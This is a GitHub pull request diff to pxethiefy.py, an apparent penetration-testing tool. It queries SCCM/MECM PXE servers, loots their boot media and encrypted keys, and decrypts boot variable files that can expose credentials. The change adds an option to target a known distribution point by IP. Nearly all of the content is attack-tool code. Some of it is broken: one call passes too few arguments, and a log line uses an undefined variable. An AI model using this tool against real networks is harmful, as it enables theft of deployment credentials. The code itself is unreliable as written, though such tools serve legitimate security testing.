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Allow user to specify IP of known Distribution Point - similar to pxethief option 2 #1

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Allow user to specify IP of known Distribution Point - similar to pxethief option 2 #1

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11d4050
Specify address of PXE-enabled distribution point instead of discover…
Mayyhem Oct 13, 2023
a642625
Use and display distribution point IP address
Mayyhem Oct 13, 2023
3e07489
Use distribution point IP in tftp_servers
Mayyhem Oct 13, 2023
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26 changes: 19 additions & 7 deletions SCCM-MECM/pxethiefy/pxethiefy.py
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Original file line number Diff line number Diff line change
Expand Up @@ -234,7 +234,7 @@ def process_pxe_media_xml(media_xml):
log("Error while trying to process media xml...", MSG_TYPE_ERROR)


def find_and_loot_on_interface(interface):
def find_and_loot(interface, dp_ip_addr_str):
# Make Scapy aware that, indeed, DHCP traffic *can* come from source or destination port udp/4011 - the additional port used by MECM
bind_layers(UDP,BOOTP,dport=4011,sport=68)
bind_layers(UDP,BOOTP,dport=68,sport=4011)
Expand All @@ -251,9 +251,15 @@ def find_and_loot_on_interface(interface):
log(f" IP: {client_ip_addr}", MSG_TYPE_DEFAULT)
log(f" MAC: {client_mac_addr_str}", MSG_TYPE_DEFAULT)

tftp_servers = find_pxe_boot_servers(interface, client_mac_addr)
if (dp_ip_addr_str):
log(f" DP: {dp_ip_addr_str}", MSG_TYPE_DEFAULT)
tftp_servers = [dp_ip_addr_str]
else:
tftp_servers = find_pxe_boot_servers(interface, client_mac_addr)
if (tftp_servers):
log(f"Found server offering PXE media: {tftp_server}", MSG_TYPE_SUCCESS)

for tftp_server in tftp_servers:
log(f"Found server offering PXE media: {tftp_server}", MSG_TYPE_SUCCESS)
## Looking for media
log(f"Looking for PXE media files...", MSG_TYPE_DEFAULT)
variables_file, bcd_file, encrypted_key = request_boot_files(interface, client_ip_addr, client_mac_addr, tftp_server)
Expand Down Expand Up @@ -303,14 +309,18 @@ def main():
parser = argparse.ArgumentParser(description="""
[**] Examples:
pxethiefy.py explore -i eth0
pxethiefy.py explore -i eth0 -a 192.0.2.50
pxethiefy.py decrypt -p "password" -f ./2023.05.05.10.43.44.0001.{85CA0850-35DC-4A1F-A0B8-8A546B317DD1}.boot.var
""", formatter_class=argparse.RawTextHelpFormatter)
subparsers = parser.add_subparsers(title='subcommands', dest="subcommands")
## Find and loot
find_and_loot_parser = subparsers.add_parser('explore', formatter_class=argparse.RawTextHelpFormatter, description="""
[**] Query for PXE servers and media on the network
[**] Example: pxethiefy.py explore -i eth0", help="Query for PXE servers and media on the network
""")
[**] Examples:
pxethiefy.py explore -i eth0
pxethiefy.py explore -a 192.0.2.50
""", help="Query for PXE servers and media on the network")
find_and_loot_parser.add_argument('-a', '--address', required=False, type=str, dest='dp_ip_addr_str', help="Specify the IP address of a PXE-enabled distribution point instead of discovering on network..")
find_and_loot_parser.add_argument('-i', '--interface', required=True, type=str, dest='interface', help="Interface to use to search for PXE servers..")
## Decrypt
decrypt_parser = subparsers.add_parser('decrypt', formatter_class=argparse.RawTextHelpFormatter, description="""
Expand All @@ -325,8 +335,10 @@ def main():

## Find and loot
if( args.subcommands == 'explore'):
if (args.interface ):
find_and_loot_on_interface(args.interface)
if (args.dp_ip_addr_str):
find_and_loot(args.interface, args.dp_ip_addr_str)
elif (args.interface):
find_and_loot(args.interface)
else:
find_and_loot_parser.print_help()

Expand Down